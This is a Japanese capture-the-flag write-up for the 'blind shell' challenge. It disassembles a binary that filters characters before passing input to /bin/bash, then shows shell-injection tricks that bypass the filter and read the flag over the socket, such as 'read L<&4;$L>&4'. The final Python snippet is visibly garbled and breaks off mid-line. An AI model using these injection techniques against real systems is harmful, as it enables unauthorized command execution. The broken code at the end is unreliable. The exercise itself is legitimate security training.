= blind shell = == 問題 == Restriction: You can't use any commands. (actually /bin/bash only) Do not brute force. You don't need to. blind_shell nc pwnable.katsudon.org 44010 == 問題(和訳) == == メモ == == 解法 == 接続間隔制限が厳しく試行錯誤するのに時間がかかった。 本体は次のようになっており,255文字まで受け付けて,入力された文字のチェックを行っている。 0x20から0x7d以外の文字が入力されると即座にその文字を'\0'で上書きしてexecvに移る。 入力された文字によって実行される処理が異なり0x400a88からテーブルがある。 {{{#!highlight 00400910 : 400910: 53 push %rbx 400911: 41 89 f8 mov %edi,%r8d 400914: b9 20 00 00 00 mov $0x20,%ecx 400919: ba ff 00 00 00 mov $0xff,%edx ; arg3 40091e: 48 81 ec 30 01 00 00 sub $0x130,%rsp 400925: 48 8d 5c 24 20 lea 0x20(%rsp),%rbx ; buf 40092a: 48 c7 04 24 74 0a 40 movq $0x400a74,(%rsp) # 400a74="/bin/bash"...; 400931: 00 400932: 48 c7 44 24 08 7e 0a movq $0x400a7e,0x8(%rsp) # 400a7e="-c"...; 400939: 40 00 40093b: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 400942: 00 00 400944: 48 89 84 24 28 01 00 mov %rax,0x128(%rsp) 40094b: 00 40094c: 31 c0 xor %eax,%eax 40094e: 48 89 df mov %rbx,%rdi 400951: 48 89 de mov %rbx,%rsi ; arg2 400954: 48 89 5c 24 10 mov %rbx,0x10(%rsp) 400959: f3 48 ab rep stos %rax,%es:(%rdi) ; 0x20*8バイト0フィル ; arg4 = ecx = 0 40095c: 44 89 c7 mov %r8d,%edi ; arg1 40095f: 48 c7 44 24 18 00 00 movq $0x0,0x18(%rsp) 400966: 00 00 400968: e8 03 fd ff ff callq 400670 ; recv(fd, buf, 255, 0) 40096d: 85 c0 test %eax,%eax 40096f: 78 66 js 4009d7 <_400910+0xc7> ; if error 400971: 31 c0 xor %eax,%eax 400973: 31 f6 xor %esi,%esi 400975: 0f b6 3c 03 movzbl (%rbx,%rax,1),%edi ; edi = buf[rax]; 400979: 48 63 c8 movslq %eax,%rcx ; ecx = eax; 40097c: 8d 57 e0 lea -0x20(%rdi),%edx ; edx = buf[rax] - 0x20; 40097f: 80 fa 5e cmp $0x5e,%dl 400982: 77 0c ja 400990 <_400910+0x80> ; jump if edx > 0x5e 400984: 0f b6 d2 movzbl %dl,%edx 400987: ff 24 d5 88 0a 40 00 jmpq *0x400a88(,%rdx,8) ; 0x400990: 使用禁止 ; 0x4009c0: 一回だけ ; 0x4009c9: 使用可能 40098e: 66 90 xchg %ax,%ax 400990: c6 44 0c 20 00 movb $0x0,0x20(%rsp,%rcx,1) ; buf[rcx] = '\0'; 400995: 48 8b 3c 24 mov (%rsp),%rdi ; arg1 400999: 48 89 e6 mov %rsp,%rsi ; arg2 40099c: e8 6f fd ff ff callq 400710 4009a1: 48 8b 84 24 28 01 00 mov 0x128(%rsp),%rax 4009a8: 00 4009a9: 64 48 33 04 25 28 00 xor %fs:0x28,%rax 4009b0: 00 00 4009b2: 75 2d jne 4009e1 <_400910+0xd1> 4009b4: 48 81 c4 30 01 00 00 add $0x130,%rsp 4009bb: 5b pop %rbx 4009bc: c3 retq 4009bd: 0f 1f 00 nopl (%rax) 4009c0: 85 f6 test %esi,%esi 4009c2: 75 cc jne 400990 <_400910+0x80> ; jmp if esi != 0; 4009c4: be 01 00 00 00 mov $0x1,%esi ; 9c0に来る文字(=' ')は1回しか使えない 4009c9: 48 83 c0 01 add $0x1,%rax ; rax++ 4009cd: 48 3d ff 00 00 00 cmp $0xff,%rax 4009d3: 75 a0 jne 400975 <_400910+0x65> ; jmp if rax != 255; 4009d5: eb be jmp 400995 <_400910+0x85> 4009d7: bf 01 00 00 00 mov $0x1,%edi 4009dc: e8 1f fd ff ff callq 400700 4009e1: e8 9a fc ff ff callq 400680 <__stack_chk_fail@plt> 4009e6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 4009ed: 00 00 00 }}} 利用可能な文字はスペース文字と次の文字のみである。ただしスペース文字は一回限りしか使用できない。{{{ #$&*0123456789:;<=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz }}} 入出力先は標準入出力ではなくソケットであることに注意して, `echo *`コマンドで調査してみると`flag_is_in_dir`というディレクトリがあることが分かった。 {{{ % echo 'echo *>&4' | nc pwnable.katsudon.org 44010 flag_is_in_dir }}} ところが使用許可された文字の中にスラッシュが含まれていないためディレクトリにアクセスできない。 readして変数をそのままコマンドとして実行することにより任意のコマンドを実行できるようにした。 {{{ read L<&4;$L>&4 }}} 再びechoで調べたところ,ディレクトリの中には`flag_is_in_dir/this_is_flag`というファイルがあることが分かった。 {{{ f.write("echo */*\n") }}} このままだと複数コマンドやリダイレクトが使えないためevalの上実行した。 {{{ eval read S&4\n") f.flush() time.sleep(1) # f.write("echo */*\n") f.write("eval read S